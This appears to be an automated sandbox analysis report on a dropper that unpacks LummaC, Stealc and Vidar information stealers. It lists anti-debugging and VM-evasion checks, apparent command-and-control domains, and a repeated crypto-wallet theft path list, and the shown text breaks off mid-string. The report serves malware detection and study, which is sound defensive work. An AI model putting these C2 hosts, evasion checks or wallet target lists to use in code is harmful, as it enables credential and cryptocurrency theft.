Source: 2h6379.exe, 00000003.00000002.2800524427.0000000005D40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: msedge.exe, 0000000A.00000003.2462765098.00005E0002518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Web Data.11.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.11.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.11.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.11.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.11.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: j1C74.exe.0.dr	Binary or memory string: VMCia
Source: Web Data.11.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.11.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.11.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.11.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 2h6379.exe, 00000003.00000003.2059829749.000000000151C000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.000000000151C000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251041301.000000000151C000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680956566.000000000151C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW"
Source: msedge.exe, 0000000A.00000002.2524066272.0000024D88E54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.11.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.11.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.11.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.11.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.11.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.11.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 2h6379.exe, 00000003.00000002.2800524427.0000000005D40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.11.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.11.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.11.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.11.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.11.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.11.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 2h6379.exe, 00000003.00000003.2092490338.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 3S96n.exe, 0000001A.00000002.2852271212.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.11.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.11.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 2h6379.exe, 00000003.00000002.2787859700.0000000000FEC000.00000040.00000001.01000000.00000005.sdmp, 3S96n.exe, 0000001A.00000002.2851444510.00000000009C2000.00000040.00000001.01000000.00000016.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.11.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.11.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe

0_2_0021202A

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Code function: 0_2_00216CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00216CF0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Code function: 1_2_00356F40 SetUnhandledExceptionFilter,	1_2_00356F40
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Code function: 1_2_00356CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00356CF0

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 2h6379.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3S96n.exe PID: 8096, type: MEMORYSTR

LummaC encrypted strings found

Source: 2h6379.exe, 00000003.00000003.2041571377.0000000005170000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: 2h6379.exe, 00000003.00000003.2041571377.0000000005170000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: 2h6379.exe, 00000003.00000003.2041571377.0000000005170000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: 2h6379.exe, 00000003.00000003.2041571377.0000000005170000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: 2h6379.exe, 00000003.00000003.2041571377.0000000005170000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: 2h6379.exe, 00000003.00000003.2041571377.0000000005170000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: 2h6379.exe, 00000003.00000003.2041571377.0000000005170000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: 2h6379.exe, 00000003.00000003.2041571377.0000000005170000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAFCFHDHIII.exe"

Jump to behavior

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe

Code function: 0_2_002118A3 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,LocalFree,CloseHandle,

0_2_002118A3

Source: 2h6379.exe, 00000003.00000002.2788079812.000000000102F000.00000040.00000001.01000000.00000005.sdmp

Binary or memory string: >wProgram Manager

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe

Code function: 0_2_00217155 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00217155

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe

Code function: 0_2_00212BFB GetVersion,GetModuleHandleW,GetProcAddress,CloseHandle,

0_2_00212BFB

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 2h6379.exe, 2h6379.exe, 00000003.00000003.2140267062.0000000005D41000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2150211162.0000000005D52000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2143800651.0000000005D52000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 2h6379.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 26.2.3S96n.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.2h6379.exe.6910000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2802210012.0000000006911000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2810499954.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2851008315.0000000000551000.00000040.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2257337140.0000000008E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2852271212.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2h6379.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3S96n.exe PID: 8096, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2h6379.exe PID: 5700, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 2h6379.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: 2h6379.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2h6379.exe	String found in binary or memory: Jaxx Liberty
Source: 2h6379.exe, 00000003.00000003.2076935503.0000000001580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2h6379.exe, 00000003.00000003.2076935503.0000000001580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet"
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx 